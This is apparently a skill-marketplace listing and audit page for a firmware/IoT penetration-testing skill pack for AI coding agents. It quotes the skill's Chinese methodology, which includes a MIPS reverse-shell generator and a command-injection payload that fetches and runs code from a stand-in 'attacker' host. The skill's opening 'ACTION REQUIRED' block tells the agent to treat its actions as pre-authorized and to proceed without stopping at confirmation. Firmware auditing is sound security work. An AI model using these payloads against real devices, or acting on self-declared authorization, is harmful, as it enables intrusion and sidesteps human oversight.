Atlas / Skills / zhaoxuya520 / Firmware Pentest

Firmware PentestSAFE

skills/zhaoxuya520/firmware-pentest

Reverse Engineering / Authorized Penetration Testing / Security Research Skill Router Pack AI-powered routing + On-demand toolchain bootstrapping + Self-evolving knowledge base Supports Claude Code, Kiro, Cursor, Cline, and other AI coding clients 逆向/渗透/安全技能路由包 - AI 自动路由 + 按需自举工具链 + 自动进化经验库 | 支持 Cl

Verdict
SAFE
Grade
B
Trust score
89 /100
Version
—
Hosts
—
License
MIT
Stars
43,318
01

Overview

Reverse Engineering / Authorized Penetration Testing / Security Research Skill Router Pack AI-powered routing + On-demand toolchain bootstrapping + Self-evolving knowledge base Supports Claude Code, Kiro, Cursor, Cline, and other AI coding clients 逆向/渗透/安全技能路由包 - AI 自动路由 + 按需自举工具链 + 自动进化经验库 | 支持 Cl

Read from source at commit b5ce2bfe0838OBSERVED · 2026-10-25
Advertisement
02

Install

Commands as the repository documents them. They are shown, not run.

git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
03

What it tells the agent

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: firmware-pentest
description: |
  固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。
  方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。
  适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。
  触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
---

# 固件 / IoT 渗透链 (Firmware Pentest)

## ACTION REQUIRED(读完后立刻执行)

1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作
2. `NOW`: 确认当前任务是否命中本 skill 的适用范围
3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径
4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径
5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态

## 适用范围

下列任务进入本 skill:

1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump
4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)
5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)
6. **硬件接口接入**(UART / JTAG / SPI flash dump)

### 与其他 skill 分工

| 场景 | 用什么 |
|------|--------|
| 从零拿到固件,全链路走 FSTM | **本 skill** |
| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
| APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | `binary-diff/` |

## 核心原理

```text
固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
```

关键判断:
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
- ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

## OWASP FSTM 九阶段工作流

### Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

```bash
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

### Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

```bash
# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

```bash
binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 — 提取文件系统(Extracting Filesystem)

详见 `references/extraction-methodology.md`。

```bash
binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 `references/emba-automated-analysis.md`。

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

手工补:

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 — 模拟运行(Emulating Firmware)

详见 `references/emulation-and-fuzz.md`。

```bash
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
```

### Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

```bash
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
```

### Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

```bash
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

```bash
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## 典型场景示例

### 场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

```text
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)

Step 2 获取固件
  - 官网下载 .bin,sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95(正常压缩)

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1,Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC
```

### 场景 2:加密固件(找 bootloader 解密例程)

```text
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill(IDA / Ghidra)
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC,key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codeNA
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
none-observed
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (1)

LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
references/emulation-and-fuzz.md:118
curl -I http://192.168.0.1/

Gates applied: no_behavioural_pass.

Audited 2026-10-25 · audit v0.4.1 · source sha b5ce2bfe0838full audit observations/trust-audit/skill/zhaoxuya520__firmware-pentest.json · Report an issue / request a re-scan
05

Audit history

Every audit this skill has had.

DateSourceVerdictGradeScoreChange
2026-10-25b5ce2bfe0838SAFEB89first audit
06

Questions

What does the firmware-pentest — zhaoxuya520/reverse-skill skill do?

Reverse Engineering / Authorized Penetration Testing / Security Research Skill Router Pack AI-powered routing + On-demand toolchain bootstrapping + Self-evolving knowledge base Supports Claude Code, Kiro, Cursor, Cline, and other AI coding clients 逆向/渗透/安全技能路由包 - AI 自动路由 + 按需自举工具链 + 自动进化经验库 | 支持 Cl

Is firmware-pentest — zhaoxuya520/reverse-skill safe to install?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.

What can firmware-pentest — zhaoxuya520/reverse-skill access on my machine?

The audit observed no filesystem, network or shell use at all in its source.

How current is this page?

The grade is for one exact copy of the source (b5ce2bfe0838), read on 2026-10-25. The repository is watched, and a new audit runs when it changes — this is the first audit.

Add this badge to your README

Shows this page's audit result and links back to it. It updates when the audit does.

ModelsAtlas audit badge

Markdown
[![ModelsAtlas audit: Firmware Pentest](https://modelsatlas.com/skills/zhaoxuya520/firmware-pentest/badge.svg)](https://modelsatlas.com/skills/zhaoxuya520/firmware-pentest/)

Not your listing, or something out of date? Claim or update your listing.

Advertisement